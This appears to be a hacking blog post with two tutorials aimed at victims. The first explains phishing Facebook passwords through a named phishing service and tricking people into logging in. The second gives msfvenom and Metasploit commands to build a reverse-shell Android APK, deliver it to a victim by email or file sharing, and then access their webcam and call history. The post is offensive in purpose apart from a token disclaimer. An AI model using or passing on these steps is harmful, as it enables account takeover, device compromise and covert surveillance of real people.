Wednesday, 21 February 2018

Facebook hacking

Facebook hacking-

Many people think that facebook hacking is easy but there is no technique or tool to hack facebook directly without physical contact.
Below are the techniques to hack facebook.

1.keylogger

2.spyware

3.phishing

4. Man in the middle attack (if victim is on same network)

5.password guessing/brutforce

6.password reset(if you have victims phone for OTP)

so lets start.
we will discus only phising(using http://z-shadow.co) in this section.

What is phising-

Phishing is creating page which looks exactly same as original page.
so lets start.
go to the webside http://z-shadow.co/ 
After that create an account.
And login.
You will see page like above
Then click on Any Language english, arabic, spanish, french.
It will show popup of your phising adress(Adress changes in every 6 hour)
Then send that link to victim.
I hope you are good in social engineering to convenience the victim to login using that link
  • the facebook looks like above and if victim logins on that page you will get the password of victim in my victims.
  • Happy hunting

hack android using metasploit

hack android using metasploit-

Metasploit comes inbuilt in kali/parrot-security os.

So now lets get into it.
Open Terminal.
use this command to create apk file.
msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_system_ip> LPORT=4444 R > hack.apk

Generate Android Payload using msfvenom
LHOST is attackers ip(to see your ip adress open terminal in another tab and type command ifconfig). LPORT is any port you can use  in my case i used 4444.
MSFVenom Payload
Now we need to set up handler for reverse tcp so open msfconsole.
type command
root@kali:~/# msfconsole


use exploit/multi/handler set payload android/meterpreter/reverse_tcp

Now we will see any open connections, on attacker’s device.
set lhost(your ip) 192.168.1.104 set lport 4444 exploit 
Remember that the LHOST & LPORT are going to be the attacker IP address and port to listen to the reverse connection. and exploit to start listening.

Now send the created apk file to victim by email or any file sharing website like www.zippyshare.com/
Here you can see victims phone information like android version
bye using this attack you can also access webcam by command webcam_list
&download  call history


Don't use this attact to harm people this is only for informational purpose.

ask me any question related to this post in comment box.
thank you
Enjoy hacking.

Featured post

What'sApp Massage Decryption

page contents What'sApp Massage Decryption In Android- REQUIREMENT- Omnycrypt for android (Omnycrypt run without root). Wha...